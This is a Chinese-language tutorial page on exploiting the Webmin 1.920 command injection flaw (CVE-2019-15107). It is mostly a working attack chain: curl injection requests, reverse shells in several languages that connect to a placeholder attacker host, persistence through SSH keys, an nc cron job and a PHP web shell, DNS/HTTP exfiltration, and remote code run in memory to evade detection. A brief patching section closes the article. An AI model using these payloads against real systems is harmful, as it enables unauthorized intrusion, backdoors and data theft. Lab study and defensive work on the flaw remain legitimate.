当前位置: 首页 > news >正文

Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell

Webmin 1.920 命令执行漏洞深度利用指南:从原理到Shell获取

在渗透测试实践中,能够快速识别和利用已知漏洞是安全研究人员的基本功。CVE-2019-15107作为Webmin历史上一个关键的安全漏洞,其利用方式具有典型的教学意义。本文将从一个实战演练的角度,带您深入理解这个漏洞的触发机制,并构建完整的攻击链条。

1. 漏洞环境搭建与基础验证

搭建一个可靠的测试环境是漏洞研究的首要步骤。推荐使用Docker快速部署Webmin 1.920漏洞环境:

docker pull vulhub/webmin:1.920 docker run -d -p 10000:10000 --name webmin vulhub/webmin:1.920

访问https://your-ip:10000(需忽略浏览器安全警告)即可看到Webmin登录界面。值得注意的是,该漏洞利用不需要任何身份认证,这也是其危险性的重要体现。

基础验证可以使用简单的curl命令:

curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|id&new1=test2&new2=test2"

如果返回结果中包含uid信息,则证明漏洞存在。这里有几个关键点需要注意:

  • user参数:必须使用系统中不存在的用户名
  • old参数:管道符后的命令会被执行
  • HTTPS协议:Webmin默认使用SSL加密连接

2. 漏洞原理深度解析

这个漏洞的核心在于password_change.cgi脚本对用户输入的处理不当。当满足以下条件时,系统会执行恶意命令:

  1. 请求发送到/password_change.cgi接口
  2. user参数值不是系统中的真实用户
  3. old参数中包含管道符(|)拼接的命令

Webmin在处理密码修改请求时,会检查用户是否存在。如果用户不存在,它会尝试直接修改/etc/shadow文件,而在这个过程中没有对输入进行充分过滤,导致命令注入。

漏洞触发流程

  1. 攻击者发送包含恶意命令的POST请求
  2. Webmin检查用户不存在
  3. 系统尝试修改shadow文件
  4. 在修改过程中执行了注入的命令
  5. 命令输出被包含在HTTP响应中

3. 完整利用链构建

3.1 信息收集阶段

在获取初始命令执行能力后,首先需要收集系统信息:

curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|uname -a; id; ip a; netstat -tulnp&new1=test2&new2=test2"

这些信息将帮助我们了解目标系统的架构、网络配置和运行服务,为后续操作提供依据。

3.2 交互式Shell获取

为了获得更稳定的控制,我们需要建立反向Shell。以下是几种常见方法:

Python反向Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash反向Shell

bash -i >& /dev/tcp/attacker-ip/port 0>&1

编码后的Payload

对于存在特殊字符限制的情况,可以使用Base64编码:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDA+JjE=" | base64 -d | bash

3.3 权限维持技术

获取初始访问后,应考虑建立持久化访问:

  1. 添加SSH密钥

    mkdir -p ~/.ssh && echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
  2. 创建定时任务

    (crontab -l 2>/dev/null; echo "* * * * * nc -e /bin/sh attacker-ip port") | crontab -
  3. 安装Web Shell

    echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/backdoor.php

4. 高级利用技巧与防御绕过

在实际渗透测试中,可能会遇到各种限制措施。以下是几种应对策略:

4.1 命令分隔技巧

当某些字符被过滤时,可以尝试替代分隔符:

# 使用换行符 old=test%0aid # 使用&& old=test&&id # 使用$() old=test$(id)

4.2 数据外带技术

当无法直接看到命令输出时,可以通过DNS或HTTP请求外带数据:

# DNS外带 old=test|dig `whoami`.attacker-domain.com # HTTP外带 old=test|curl http://attacker-ip:8000/?data=$(whoami|base64)

4.3 内存执行规避

为避免在磁盘留下痕迹,可以使用内存执行技术:

# Python内存加载 old=test|python -c "import urllib2; exec(urllib2.urlopen('http://attacker-ip/shell.py').read())" # Perl一行式 old=test|perl -e 'use Socket;$i="attacker-ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

5. 漏洞修复与防护建议

对于系统管理员,应采取以下措施防护:

  1. 立即升级:将Webmin升级到1.930或更高版本
  2. 访问控制:限制Webmin管理界面的访问IP
  3. 入侵检测:监控对/password_change.cgi的异常访问
  4. 最小权限:按照最小权限原则配置Webmin功能

在渗透测试完成后,应完整记录利用过程,并协助客户进行安全加固。漏洞利用的最终目的是提升系统安全性,而非破坏。

http://www.jsqmd.com/news/1149897/

相关文章:

  • 禅道 API 登录鉴权全流程解析:Session、Cookie 与 Token 3种方案对比
  • Flutter/HarmonyOS 实战|中式美食买菜清单勾选状态:checkedIds、统计卡与可点击食材条
  • Cuppa CMS 文件包含漏洞实战:W1R3S 1.0.1靶机从LFI到Root的3步提权
  • HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现
  • 高效太阳能电池缺陷检测基准:2624张EL图像深度学习实战指南
  • 010Editor 网络验证绕过实战:3 种补丁方法与 1 个关键跳转定位
  • Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本编写
  • iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)
  • B/S架构电子病历编辑器(EMRE)部署实战:SpringBoot 2.7 + MySQL 8.0 环境搭建5步
  • A3910与MKV58F1M0VLQ24在工业电机控制中的经典组合
  • 微信小程序内容安全审核 2.0:imgSecCheck 与 mediaCheckAsync 双接口选型指南
  • 语音克隆实战终极指南:10分钟数据训练高质量变声模型
  • 基于51/STM32单片机矿井安全 瓦斯检测 天然气 甲烷报警物联网31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • 5个步骤轻松解锁加密音乐文件:Unlock Music完全使用指南
  • 云注入去除方案对比:算法助手 vs MT解密工具 vs 手动Smali修改
  • 从零开始:STM32温度控制系统的实战指南
  • iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)
  • DVWA DOM XSS 4级漏洞实战:从Low到Impossible的3种绕过与1个防御核心
  • BQ25887充电芯片与TM4C129ENCPDT的电池平衡系统设计
  • 基于Arduino单片机温湿度报警 大棚温湿度采集系统 DHT1131(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • Spring Boot + Vue 前后端分离订餐系统:5个常见安全漏洞与JWT认证方案
  • Citrix DDC 与 vCenter 证书信任:2种证书获取方法对比与“受信任的人”存储安装要点
  • Java RMI反序列化漏洞实战:ysoserial工具链利用与3种防护策略
  • 【Springboot毕设全套源码+文档】基于SpringBoot的吉他谱分享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权
  • XSS-Platform 源码部署实战:PHP 7.4 + Apache 环境 5 步配置避坑指南
  • PIC18F47Q10与PAM8904构建高效嵌入式警报系统
  • App安全测试自动化:3款开源工具对比与CI/CD集成实战
  • OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析
  • 探索式测试(ET)与脚本测试(ST)实战对比:3个真实场景下的效率与缺陷发现率分析